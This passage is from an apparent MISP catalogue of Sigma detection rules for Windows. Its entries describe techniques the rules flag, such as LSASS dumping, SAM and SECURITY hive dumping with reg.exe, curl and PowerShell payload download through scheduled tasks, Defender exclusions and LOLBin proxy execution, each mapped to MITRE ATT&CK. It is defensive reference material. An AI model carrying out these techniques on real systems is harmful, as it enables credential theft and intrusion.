Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.

The tag is: *misp-galaxy:sigma-rules="Renamed NirCmd.EXE Execution"*

View relationships graph

Renamed NirCmd.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15682. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://www.nirsoft.net/utils/nircmd.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_nircmd.yml

Suspicious CustomShellHost Execution

Detects the execution of CustomShellHost.exe where the child isn't located in 'C:\Windows\explorer.exe'. CustomShellHost is a known LOLBin that can be abused by attackers for defense evasion techniques.

The tag is: *misp-galaxy:sigma-rules="Suspicious CustomShellHost Execution"*

View relationships graph

Suspicious CustomShellHost Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15683. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/180
https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_customshellhost_susp_exec.yml

Netsh Allow Group Policy on Microsoft Defender Firewall

Adversaries may modify system firewalls in order to bypass controls limiting network usage

The tag is: *misp-galaxy:sigma-rules="Netsh Allow Group Policy on Microsoft Defender Firewall"*

View relationships graph

Netsh Allow Group Policy on Microsoft Defender Firewall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 15684. Table References

Links
https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml

HackTool - SharpEvtMute Execution

Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpEvtMute Execution"*

View relationships graph

HackTool - SharpEvtMute Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 15685. Table References

Links
https://github.com/bats3c/EvtMute
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpevtmute.yml

Suspicious Rundll32 Activity Invoking Sys File

Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452

The tag is: *misp-galaxy:sigma-rules="Suspicious Rundll32 Activity Invoking Sys File"*

View relationships graph

Suspicious Rundll32 Activity Invoking Sys File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15686. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_sys.yml

AADInternals PowerShell Cmdlets Execution - ProccessCreation

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

The tag is: *misp-galaxy:sigma-rules="AADInternals PowerShell Cmdlets Execution - ProccessCreation"*

Table 15687. Table References

Links
https://github.com/Gerenios/AADInternals
https://o365blog.com/aadinternals/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_aadinternals_cmdlets_execution.yml

HackTool - HandleKatz LSASS Dumper Execution

Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same

The tag is: *misp-galaxy:sigma-rules="HackTool - HandleKatz LSASS Dumper Execution"*

View relationships graph

HackTool - HandleKatz LSASS Dumper Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15688. Table References

Links
https://github.com/codewhitesec/HandleKatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_handlekatz.yml

Suspicious Process Execution From Fake Recycle.Bin Folder

Detects process execution from a fake recycle bin folder, often used to avoid security solution.

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Execution From Fake Recycle.Bin Folder"*

Table 15689. Table References

Links

https://www.mandiant.com/resources/blog/infected-usb-steal-secrets
https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recycle_bin_fake_execution.yml

ConvertTo-SecureString Cmdlet Usage Via CommandLine

Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity

The tag is: *misp-galaxy:sigma-rules="ConvertTo-SecureString Cmdlet Usage Via CommandLine"*

View relationships graph

ConvertTo-SecureString Cmdlet Usage Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15690. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.3#examples
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml

Veeam Backup Database Suspicious Query

Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.

The tag is: *misp-galaxy:sigma-rules="Veeam Backup Database Suspicious Query"*

View relationships graph

Veeam Backup Database Suspicious Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 15691. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_db_recon.yml

Unusual Child Process of dns.exe

Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

The tag is: *misp-galaxy:sigma-rules="Unusual Child Process of dns.exe"*

View relationships graph

Unusual Child Process of dns.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 15692. Table References

Links
https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns-exe.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_susp_child_process.yml

SafeBoot Registry Key Deleted Via Reg.EXE

Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products

The tag is: *misp-galaxy:sigma-rules="SafeBoot Registry Key Deleted Via Reg.EXE"*

View relationships graph

SafeBoot Registry Key Deleted Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15693. Table References

Links
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml

PowerShell Script Change Permission Via Set-Acl

Detects PowerShell execution to set the ACL of a file or a folder

The tag is: *misp-galaxy:sigma-rules="PowerShell Script Change Permission Via Set-Acl"*

Table 15694. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1
https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl.yml

PUA - NirCmd Execution As LOCAL SYSTEM

Detects the use of NirCmd tool for command execution as SYSTEM user

The tag is: *misp-galaxy:sigma-rules="PUA - NirCmd Execution As LOCAL SYSTEM"*

View relationships graph

PUA - NirCmd Execution As LOCAL SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 15695. Table References

Links
https://www.nirsoft.net/utils/nircmd2.html#using
https://www.nirsoft.net/utils/nircmd.html
https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd_as_system.yml

Execution via WorkFolders.exe

Detects using WorkFolders.exe to execute an arbitrary control.exe

The tag is: *misp-galaxy:sigma-rules="Execution via WorkFolders.exe"*

View relationships graph

Execution via WorkFolders.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15696. Table References

Links
https://twitter.com/elliotkillick/status/1449812843772227588
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml

Binary Proxy Execution Via Dotnet-Trace.EXE

Detects commandline arguments for executing a child process via dotnet-trace.exe

The tag is: *misp-galaxy:sigma-rules="Binary Proxy Execution Via Dotnet-Trace.EXE"*

View relationships graph

Binary Proxy Execution Via Dotnet-Trace.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15697. Table References

Links
https://twitter.com/bohops/status/1740022869198037480
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet_trace_lolbin_execution.yml

Arbitrary File Download Via GfxDownloadWrapper.EXE

Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via GfxDownloadWrapper.EXE"*

View relationships graph

Arbitrary File Download Via GfxDownloadWrapper.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15698. Table References

Links
https://lolbas-project.github.io/lolbas/HonorableMentions/GfxDownloadWrapper/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gfxdownloadwrapper_arbitrary_file_download.yml

Recon Information for Export with Command Prompt

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: *misp-galaxy:sigma-rules="Recon Information for Export with Command Prompt"*

View relationships graph

Recon Information for Export with Command Prompt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 15699. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml

Mstsc.EXE Execution From Uncommon Parent

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

The tag is: *misp-galaxy:sigma-rules="Mstsc.EXE Execution From Uncommon Parent"*

Table 15700. Table References

Links
https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/
https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rpd_file_susp_parent.yml

Malicious Windows Script Components File Execution by TAEF Detection

Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on)

directly by running te.exe

The tag is: *misp-galaxy:sigma-rules="Malicious Windows Script Components File Execution by TAEF Detection"*

View relationships graph

Malicious Windows Script Components File Execution by TAEF Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15701. Table References

Links
https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/
https://twitter.com/pabraeken/status/993298228840992768
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml

Windows Recall Feature Enabled Via Reg.EXE

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

The tag is: *misp-galaxy:sigma-rules="Windows Recall Feature Enabled Via Reg.EXE"*

View relationships graph

Windows Recall Feature Enabled Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 15702. Table References

Links
https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
https://learn.microsoft.com/en-us/windows/client-management/manage-recall
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_windows_recall.yml

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION"*

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15703. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_var.yml

Remote Access Tool - AnyDesk Silent Installation

Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Silent Installation"*

View relationships graph

Remote Access Tool - AnyDesk Silent Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15704. Table References

Links
https://support.anydesk.com/Automatic_Deployment
https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_silent_install.yml

Potential Rundll32 Execution With DLL Stored In ADS

Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).

The tag is: *misp-galaxy:sigma-rules="Potential Rundll32 Execution With DLL Stored In ADS"*

View relationships graph

Potential Rundll32 Execution With DLL Stored In ADS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15705. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rundll32
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ads_stored_dll_execution.yml

Kernel Memory Dump Via LiveKD

Detects execution of LiveKD with the "-m" flag to potentially dump the kernel memory

The tag is: *misp-galaxy:sigma-rules="Kernel Memory Dump Via LiveKD"*

Table 15706. Table References

Links
https://4sysops.com/archives/creating-a-complete-memory-dump-without-a-blue-screen/
https://learn.microsoft.com/en-us/sysinternals/downloads/livekd
https://kb.acronis.com/content/60892
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_kernel_memory_dump.yml

Invoke-Obfuscation Via Use MSHTA

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use MSHTA"*

View relationships graph

Invoke-Obfuscation Via Use MSHTA has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15707. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml

Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Detects the usage of "reg.exe" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData.

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE"*

View relationships graph

Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15708. Table References

Links
https://redcanary.com/threat-detection-report/threats/qbot/
https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml

Uncommon Child Process Of Defaultpack.EXE

Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Of Defaultpack.EXE"*

View relationships graph

Uncommon Child Process Of Defaultpack.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15709. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/

https://www.echotrail.io/insights/search/defaultpack.exe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_defaultpack_uncommon_child_process.yml

Potentially Suspicious DLL Registered Via Odbcconf.EXE

Detects execution of "odbcconf" with the "REGSVR" action where the DLL in question doesn't contain a ".dll" extension. Which is often used as a method to evade defenses.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious DLL Registered Via Odbcconf.EXE"*

View relationships graph

Potentially Suspicious DLL Registered Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15710. Table References

Links
https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr_susp.yml

Uncommon FileSystem Load Attempt By Format.com

Detects the execution of format.com with an uncommon filesystem selection that could indicate a defense evasion activity in which "format.com" is used to load malicious DLL files or other programs.

The tag is: *misp-galaxy:sigma-rules="Uncommon FileSystem Load Attempt By Format.com"*

Table 15711. Table References

Links
https://twitter.com/wdormann/status/1478011052130459653?s=20
https://twitter.com/0gtweet/status/1477925112561209344
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_format_uncommon_filesystem_load.yml

WSL Kali-Linux Usage

Detects the use of Kali Linux through Windows Subsystem for Linux

The tag is: *misp-galaxy:sigma-rules="WSL Kali-Linux Usage"*

View relationships graph

WSL Kali-Linux Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15712. Table References

Links
https://learn.microsoft.com/en-us/windows/wsl/install
https://medium.com/@redfanatic7/running-kali-linux-on-windows-51ad95166e6e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_kali_linux_usage.yml

Scheduled Task Creation with Curl and PowerShell Execution Combo

Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Creation with Curl and PowerShell Execution Combo"*

View relationships graph

Scheduled Task Creation with Curl and PowerShell Execution Combo has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15713. Table References

Links
https://tria.ge/241015-l98snsyeje/behavioral2

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_curl_and_powershell_combo.yml

DllUnregisterServer Function Call Via Msiexec.EXE

Detects MsiExec loading a DLL and calling its DllUnregisterServer function

The tag is: *misp-galaxy:sigma-rules="DllUnregisterServer Function Call Via Msiexec.EXE"*

View relationships graph

DllUnregisterServer Function Call Via Msiexec.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 15714. Table References

Links
https://twitter.com/*st0pp3r*/status/1583914515996897281
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml

HackTool - HollowReaper Execution

Detects usage of HollowReaper, a process hollowing shellcode launcher used for stealth payload execution through process hollowing. It replaces the memory of a legitimate process with custom shellcode, allowing the attacker to execute payloads under the guise of trusted binaries.

The tag is: *misp-galaxy:sigma-rules="HackTool - HollowReaper Execution"*

View relationships graph

HackTool - HollowReaper Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

Table 15715. Table References

Links
https://github.com/vari-sh/RedTeamGrimoire/tree/b5e7635d34db6e1f0398d8847e8f293186e947c5/HollowReaper

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hollowreaper.yml

DeviceCredentialDeployment Execution

Detects the execution of DeviceCredentialDeployment to hide a process from view.

The tag is: *misp-galaxy:sigma-rules="DeviceCredentialDeployment Execution"*

View relationships graph

DeviceCredentialDeployment Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15716. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/147
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_device_credential_deployment.yml

File And SubFolder Enumeration Via Dir Command

Detects usage of the "dir" command part of Windows CMD with the "/S" command line flag in order to enumerate files in a specified directory and all subdirectories.

The tag is: *misp-galaxy:sigma-rules="File And SubFolder Enumeration Via Dir Command"*

View relationships graph

File And SubFolder Enumeration Via Dir Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 15717. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dir_execution.yml

Remote Access Tool - NetSupport Execution

An adversary may use legitimate desktop support and remote access software, such as Team

Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - NetSupport Execution"*

View relationships graph

Remote Access Tool - NetSupport Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15718. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_netsupport.yml

XSL Script Execution Via WMIC.EXE

Detects the execution of WMIC with the "format" flag to potentially load local XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

The tag is: *misp-galaxy:sigma-rules="XSL Script Execution Via WMIC.EXE"*

View relationships graph

XSL Script Execution Via WMIC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15719. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Suspicious Schtasks Schedule Type With High Privileges

Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type

The tag is: *misp-galaxy:sigma-rules="Suspicious Schtasks Schedule Type With High Privileges"*

View relationships graph

Suspicious Schtasks Schedule Type With High Privileges has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15720. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type_system.yml

Process Reconnaissance Via Wmic.EXE

Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.

The tag is: *misp-galaxy:sigma-rules="Process Reconnaissance Via Wmic.EXE"*

View relationships graph

Process Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15721. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_process.yml

Dumping of Sensitive Hives Via Reg.EXE

Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.

The tag is: *misp-galaxy:sigma-rules="Dumping of Sensitive Hives Via Reg.EXE"*

View relationships graph

Dumping of Sensitive Hives Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 15722. Table References

Links
https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml

Suspicious HH.EXE Execution

Detects a suspicious execution of a Microsoft HTML Help (HH.exe)

The tag is: *misp-galaxy:sigma-rules="Suspicious HH.EXE Execution"*

View relationships graph

Suspicious HH.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
